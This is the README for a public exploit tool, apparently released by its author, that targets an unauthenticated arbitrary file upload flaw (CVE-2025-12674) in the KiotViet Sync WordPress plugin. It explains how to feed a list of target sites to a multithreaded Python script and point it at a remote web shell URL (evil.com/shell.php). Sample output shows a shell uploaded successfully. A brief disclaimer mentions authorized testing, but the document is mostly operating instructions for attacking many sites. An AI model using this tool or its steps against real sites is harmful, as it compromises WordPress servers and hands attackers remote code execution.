
KiotViet Sync <= 1.8.5 - Unauthenticated Arbitrary File Upload
KiotViet Sync <= 1.8.5 - Unauthenticated Arbitrary File Upload
The KiotViet Sync plugin for WordPress (versions up to and including 1.8.5) is vulnerable to arbitrary file uploads, due to missing file type validation in the create_media() function.
This vulnerability allows unauthenticated attackers to upload arbitrary files to the server, which may lead to remote code execution.
Clone this repository, or download the script.
Prepare your targets:
Place one target per line in a file named list.txt.
example.com
site2.com
http://site3.com
Run the exploit script:
The script name is:
CVE-2025-12674.py
python3 CVE-2025-12674.py
When prompted, enter your options:
Enter targets file name (default: list.txt): list.txt
Enter number of threads (default: 10):
Enter REMOTE SHELL URL (direct link): http://evil.com/shell.php
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Loaded 1 targets. Threads: 10. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ http://nxk.ddev.site │
│ Trying KiotViet exploit... │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ ✔ Shell uploaded! ║
║ Check here: ║
║ http://nxk.ddev.site/wp-content/uploads/2026/01/ ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
Summary
Metric Value
───────────────────────────
Total attempts 1
Successful shells 1
Failed attempts 0
shells.txt.This script is provided for educational and authorized security testing purposes only.
Unauthorized use against systems that you do not own or have explicit permission to test is illegal and unethical.
The author assumes no liability for misuse or for any damage caused.
Nxploited (Khaled Alenazi)